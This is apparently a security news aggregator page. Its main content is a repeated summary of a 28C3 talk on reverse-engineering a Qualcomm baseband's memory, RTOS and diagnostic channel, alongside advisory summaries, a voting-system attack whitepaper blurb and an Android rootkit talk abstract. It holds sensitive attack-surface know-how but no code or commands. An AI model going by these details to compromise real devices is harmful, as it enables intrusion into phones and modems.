Chaos Communication Congress 28th (28C3) 2011 Abstract: Despite their wide presence in our lives, baseband chips are still nowadays poorly known and understood from a system point of view. Some presentations have hilighted vulnerabilities in GSM stacks across various models of basebands (cf. 27c3: All your baseband are belong to us by R-P. Weinmann). However none of them actually focused on the details of how a baseband operating system really works. This is the focus of our presentation. From the study of a simple 3G USB stick equipped with a Qualcomm baseband, we will discuss how to dump the volatile memory, reverse-engineer the proprietary RTOS, and ultimately execute and debug code while trying to preserve the real-time system constraints. Introduction The following work has resulted from a straightforward observation: security in the baseband world is something hard to reach. Anyone trying to get into it is confronted with two obstacles. At the network level, one has to apprehend the extremely massive 3GPP specifications. At the system level, basebands are just undocumented and closed-source pieces of code running in embedded chips. Consequently, a baseband is mostly seen as a blackbox running code for a terrifyingly complex network stack. Given the complexity of the involved network protocols, and the fact that telephony stacks are historically old pieces of code, it is fairly acceptable to think that vulnerabilities can be found inside basebands. Ralf-Philipp Weinmann has already demonstrated this claim during the 27C3 event in 2010. Finding and triggering vulnerabilities in basebands sound very appealing, but we have to remember that these are only preliminary steps before the final exploitation. And for any exploitation to succeed, one has to know the environment into which the code is currently running. What is the architecture? What is the operating system? What does the memory look like? How is structured the heap? Can I safely return to some point and resume the execution? For those reasons and out of curiosity, I started exploring the core of a Qualcomm baseband. The targeted device is the Icon 225 3G USB stick. It embeds a MSM6280 Qualcomm baseband based on the ARMv5TEJ architecture, plus two proprietary DSPs. No application processor is present on those USB sticks. Qualcomm basebands are also notably present on HTC phones. Dumping the device memory The first step for understanding the baseband code is to manage to get a look at it. Plugging the USB stick fires up three serial ports over the USB link. The first one is used to handle Hayes commands to control the modem. The two other ones are unknown at first glance. However I remarked that a little tool for SIM-unlocking a device made use of one of those serial ports. After dumping the USB packets, it appeared this serial link actually handles diagnostic commands for Qualcomm. The protocol used is very simple and allows at least writing and executing code into a small region of the memory. Injecting a custom payload allowed me to quickly dump the entire contents of the memory (32MB). On the ARM architecture, the first piece of code to be executed is a ROM located at 0xffff0000. Reverse-engineering this primary bootloader (PBL) gives us the entry point to the secondary bootloader (SBL). Then disassembling the RAM dump from this address clearly indicates we have one-to-one physical to virtual memory mapping. Reverse engineering the RTOS The embedded code inside the baseband is a proprietary operating system from Qualcomm. The real-time microkernel seems to be called REX, while the operating system itself is named AMSS. I have reverse-engineered most part of the microkernel primitives including: the scheduler the inter-tasks communication mechanism the asynchronous/deferred procedure calls mechanism the timers the heap memory structure and allocation routines The kernel implements lightweight processes called tasks. All tasks share the same virtual address space. MMU is set up at boot time with a virtual to physical mapping and the first 12MB of memory are marked read-only. NX is not enabled (thus everything is executable). Three tasks are created automatically at boot time: the idle task the DPC task, responsible for dispatching deferred procedure calls the main task, responsible for running all the other tasks When fully started, AMSS is made up of approximatively 70 running tasks. They are dedicated to hardware management (DSP, USB, USIM, Vocoder, ...), network stacks management for each layer (GSM L1/L2/L3, SMS, RRC, LLC, and so on), and miscellaneous features (in particular the diagnostic task). Although the USB stick is only intended to be used for data over 3G, the operating system is a full-blown baseband supporting all kinds of telephony stacks and features. The tasks communicate with each other by the mean of signals and buffer queues. A command buffer is pushed on a FIFO queue and a signal is sent to the task for processing. Regarding the memory allocation management, the operating system mainly uses two kinds of heaps. The first heap has a classical free blocks-tracking structure where tasks can allocate arbitrary memory blocks using the malloc/free functions. Another kind of heap is also used on top of the former to represent the memory as a contiguous stream of data that tasks can produce and consume (suited for network data flow). Code execution and debugging Static analysis of the whole operating system is possible, but the code is pretty massive and a lot of interactions between different tasks are involved at run-time. Since code execution is possible on the device, I investigated how to dynamically debug system code. I present here the architecture of the debugger I am currently writing (this is still a work in progress). The main point is to be able to debug the operating system with the fewest possible side-effects. In a nutshell, the debugger has to be real-time compliant as much as possible. For the communication with the debugger, I decided to reuse the diagnostic task channel over USB by implementing custom command handlers. The debugger then relies on the GDB server protocol implemented over the diagnostic channel protocol, itself being over USB. We have access to the interrupt vectors, and we can put BKPT instructions anywhere as well (everything is running in ARM supervisor mode and we can disable the MMU if necessary). If the exception address is a watchpoint, we dump the state of registers and stack, and set up a DPC to acknowledge the debugger of the event. Then execution is immediately resumed. If the exception address is a breakpoint, then we set up a DPC for the debugger and put the task into a wait state allowing other tasks to be immediately scheduled. The execution for the waiting task can be resumed by the debugger by sending it a special signal. The debugger is making use of its own separated heap and queue at a high address, not to interfere with other operating system tasks while processing debug events. Of course some tasks will need to process code at timely events, especially those at the lowest layers, so specific care has to be taken not to put breakpoints that would possibly break the RF processing. ARMv5 has no native support for single-stepping the code. Single-step is implemented by predicting the next PC address and putting a breakpoint at it. Notes and further thoughts Information about the code execution environment on basebands is clearly lacking in the literature. On the contrary of previous presentations on the same topic, this presentation focuses on the details of a proprietary baseband operating system, in this case Qualcomm's. I intend to do a demonstration of the debugger for the presentation, and to release the source code later on. Future areas of work may include a study of the proprietary DSPs and the possibility to locally fuzz the baseband without using a base station.
-
12:55
»
SecDocs
Authors:
Guillaume Delugré Tags:
phone Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Despite their wide presence in our lives, baseband chips are still nowadays poorly known and understood from a system point of view. Some presentations have hilighted vulnerabilities in GSM stacks across various models of basebands (cf. 27c3: All your baseband are belong to us by R-P. Weinmann). However none of them actually focused on the details of how a baseband operating system really works. This is the focus of our presentation. From the study of a simple 3G USB stick equipped with a Qualcomm baseband, we will discuss how to dump the volatile memory, reverse-engineer the proprietary RTOS, and ultimately execute and debug code while trying to preserve the real-time system constraints. Introduction The following work has resulted from a straightforward observation: security in the baseband world is something hard to reach. Anyone trying to get into it is confronted with two obstacles. At the network level, one has to apprehend the extremely massive 3GPP specifications. At the system level, basebands are just undocumented and closed-source pieces of code running in embedded chips. Consequently, a baseband is mostly seen as a blackbox running code for a terrifyingly complex network stack. Given the complexity of the involved network protocols, and the fact that telephony stacks are historically old pieces of code, it is fairly acceptable to think that vulnerabilities can be found inside basebands. Ralf-Philipp Weinmann has already demonstrated this claim during the 27C3 event in 2010. Finding and triggering vulnerabilities in basebands sound very appealing, but we have to remember that these are only preliminary steps before the final exploitation. And for any exploitation to succeed, one has to know the environment into which the code is currently running. What is the architecture? What is the operating system? What does the memory look like? How is structured the heap? Can I safely return to some point and resume the execution? For those reasons and out of curiosity, I started exploring the core of a Qualcomm baseband. The targeted device is the Icon 225 3G USB stick. It embeds a MSM6280 Qualcomm baseband based on the ARMv5TEJ architecture, plus two proprietary DSPs. No application processor is present on those USB sticks. Qualcomm basebands are also notably present on HTC phones. Dumping the device memory The first step for understanding the baseband code is to manage to get a look at it. Plugging the USB stick fires up three serial ports over the USB link. The first one is used to handle Hayes commands to control the modem. The two other ones are unknown at first glance. However I remarked that a little tool for SIM-unlocking a device made use of one of those serial ports. After dumping the USB packets, it appeared this serial link actually handles diagnostic commands for Qualcomm. The protocol used is very simple and allows at least writing and executing code into a small region of the memory. Injecting a custom payload allowed me to quickly dump the entire contents of the memory (32MB). On the ARM architecture, the first piece of code to be executed is a ROM located at 0xffff0000. Reverse-engineering this primary bootloader (PBL) gives us the entry point to the secondary bootloader (SBL). Then disassembling the RAM dump from this address clearly indicates we have one-to-one physical to virtual memory mapping. Reverse engineering the RTOS The embedded code inside the baseband is a proprietary operating system from Qualcomm. The real-time microkernel seems to be called REX, while the operating system itself is named AMSS. I have reverse-engineered most part of the microkernel primitives including: the scheduler the inter-tasks communication mechanism the asynchronous/deferred procedure calls mechanism the timers the heap memory structure and allocation routines The kernel implements lightweight processes called tasks. All tasks share the same virtual address space. MMU is set up at boot time with a virtual to physical mapping and the first 12MB of memory are marked read-only. NX is not enabled (thus everything is executable). Three tasks are created automatically at boot time: the idle task the DPC task, responsible for dispatching deferred procedure calls the main task, responsible for running all the other tasks When fully started, AMSS is made up of approximatively 70 running tasks. They are dedicated to hardware management (DSP, USB, USIM, Vocoder, ...), network stacks management for each layer (GSM L1/L2/L3, SMS, RRC, LLC, and so on), and miscellaneous features (in particular the diagnostic task). Although the USB stick is only intended to be used for data over 3G, the operating system is a full-blown baseband supporting all kinds of telephony stacks and features. The tasks communicate with each other by the mean of signals and buffer queues. A command buffer is pushed on a FIFO queue and a signal is sent to the task for processing. Regarding the memory allocation management, the operating system mainly uses two kinds of heaps. The first heap has a classical free blocks-tracking structure where tasks can allocate arbitrary memory blocks using the malloc/free functions. Another kind of heap is also used on top of the former to represent the memory as a contiguous stream of data that tasks can produce and consume (suited for network data flow). Code execution and debugging Static analysis of the whole operating system is possible, but the code is pretty massive and a lot of interactions between different tasks are involved at run-time. Since code execution is possible on the device, I investigated how to dynamically debug system code. I present here the architecture of the debugger I am currently writing (this is still a work in progress). The main point is to be able to debug the operating system with the fewest possible side-effects. In a nutshell, the debugger has to be real-time compliant as much as possible. For the communication with the debugger, I decided to reuse the diagnostic task channel over USB by implementing custom command handlers. The debugger then relies on the GDB server protocol implemented over the diagnostic channel protocol, itself being over USB. We have access to the interrupt vectors, and we can put BKPT instructions anywhere as well (everything is running in ARM supervisor mode and we can disable the MMU if necessary). If the exception address is a watchpoint, we dump the state of registers and stack, and set up a DPC to acknowledge the debugger of the event. Then execution is immediately resumed. If the exception address is a breakpoint, then we set up a DPC for the debugger and put the task into a wait state allowing other tasks to be immediately scheduled. The execution for the waiting task can be resumed by the debugger by sending it a special signal. The debugger is making use of its own separated heap and queue at a high address, not to interfere with other operating system tasks while processing debug events. Of course some tasks will need to process code at timely events, especially those at the lowest layers, so specific care has to be taken not to put breakpoints that would possibly break the RF processing. ARMv5 has no native support for single-stepping the code. Single-step is implemented by predicting the next PC address and putting a breakpoint at it. Notes and further thoughts Information about the code execution environment on basebands is clearly lacking in the literature. On the contrary of previous presentations on the same topic, this presentation focuses on the details of a proprietary baseband operating system, in this case Qualcomm's. I intend to do a demonstration of the debugger for the presentation, and to release the source code later on. Future areas of work may include a study of the proprietary DSPs and the possibility to locally fuzz the baseband without using a base station.
-
-
19:46
»
Packet Storm Security Advisories
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
19:46
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
19:46
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
-
9:10
»
Packet Storm Security Recent Files
Whitepaper called Attacking the Washington, D.C. Internet Voting System. In 2010, Washington, D.C. developed an Internet voting pilot project that was intended to allow overseas absentee voters to cast their ballots using a website. The authors of this paper participated in a challenge to break the security of the system and in doing so, elected Bender from Futurama to the school board.
-
9:10
»
Packet Storm Security Misc. Files
Whitepaper called Attacking the Washington, D.C. Internet Voting System. In 2010, Washington, D.C. developed an Internet voting pilot project that was intended to allow overseas absentee voters to cast their ballots using a website. The authors of this paper participated in a challenge to break the security of the system and in doing so, elected Bender from Futurama to the school board.
-
-
7:35
»
Packet Storm Security Advisories
Red Hat Security Advisory 2012-0312-03 - The initscripts package contains system scripts to boot your system, change runlevels, activate and deactivate most network interfaces, and shut the system down cleanly. With the default IPsec ifup script configuration, the racoon IKE key management daemon used aggressive IKE mode instead of main IKE mode. This resulted in the preshared key hash being sent unencrypted, which could make it easier for an attacker able to sniff network traffic to obtain the plain text PSK from a transmitted hash.
-
7:35
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2012-0312-03 - The initscripts package contains system scripts to boot your system, change runlevels, activate and deactivate most network interfaces, and shut the system down cleanly. With the default IPsec ifup script configuration, the racoon IKE key management daemon used aggressive IKE mode instead of main IKE mode. This resulted in the preshared key hash being sent unencrypted, which could make it easier for an attacker able to sniff network traffic to obtain the plain text PSK from a transmitted hash.
-
-
3:09
»
SecDocs
Authors:
Tsukasa Ooi Tags:
Android rootkit Event:
Black Hat Abu Dhabi 2011 Abstract: Android devices have been repeatedly hacked for root privileges. Sometimes by malware authors, and sometimes by users themselves. This is because if someone gains root privileges, he or she can gain control of the parts of the system which are most useful for attackers (and for users as well). But this is not the end of the story - we need a bit more knowledge to gain much privilege inside the Android application system. On the other hand, some Japanese Android smartphones have an extra Linux Security Module (LSM) to prevent these rooting issues and protect the system from being overwritten. But because of Android's security weaknesses and incomplete LSM protection, the Android application system can still be taken over by exploitation. This presentation explains what we can/cannot do if we gain root privileges on an Android device, and introduces a new kind of Android rootkit. This rootkit needs only root privileges (no kernel-mode, no ptrace) and bypasses all existing security modules. This fact implies the possibility of advanced Android malware.
-
3:09
»
SecDocs
Authors:
Tsukasa Ooi Tags:
Android rootkit Event:
Black Hat Abu Dhabi 2011 Abstract: Android devices have been repeatedly hacked for root privileges. Sometimes by malware authors, and sometimes by users themselves. This is because if someone gains root privileges, he or she can gain control of the parts of the system which are most useful for attackers (and for users as well). But this is not the end of the story - we need a bit more knowledge to gain much privilege inside the Android application system. On the other hand, some Japanese Android smartphones have an extra Linux Security Module (LSM) to prevent these rooting issues and protect the system from being overwritten. But because of Android's security weaknesses and incomplete LSM protection, the Android application system can still be taken over by exploitation. This presentation explains what we can/cannot do if we gain root privileges on an Android device, and introduces a new kind of Android rootkit. This rootkit needs only root privileges (no kernel-mode, no ptrace) and bypasses all existing security modules. This fact implies the possibility of advanced Android malware.
-
-
3:11
»
Packet Storm Security Recent Files
The Bastille Hardening program locks down an operating system, configuring the system for increased security. It currently supports Red Hat, Fedora Core, Red Hat Enterprise, SuSE, SuSE Enterprise, Mandrake, Debian, and Gentoo, HP-UX, and Apple's Mac OS X.
-
3:11
»
Packet Storm Security Misc. Files
The Bastille Hardening program locks down an operating system, configuring the system for increased security. It currently supports Red Hat, Fedora Core, Red Hat Enterprise, SuSE, SuSE Enterprise, Mandrake, Debian, and Gentoo, HP-UX, and Apple's Mac OS X.
0day.today (was: 1337day, Inj3ct0r, 1337db)
OSVDB Vulnerabilities
Exploit-DB
SecurityFocus Vulnerabilities
Bugtraq
XSSed
Sophos security news
Penetration Testing
BackTrack Linux Forums
Threatpost
carnal0wnage.attackresearch.com
Darknet
The Exploitant
Wirevolution
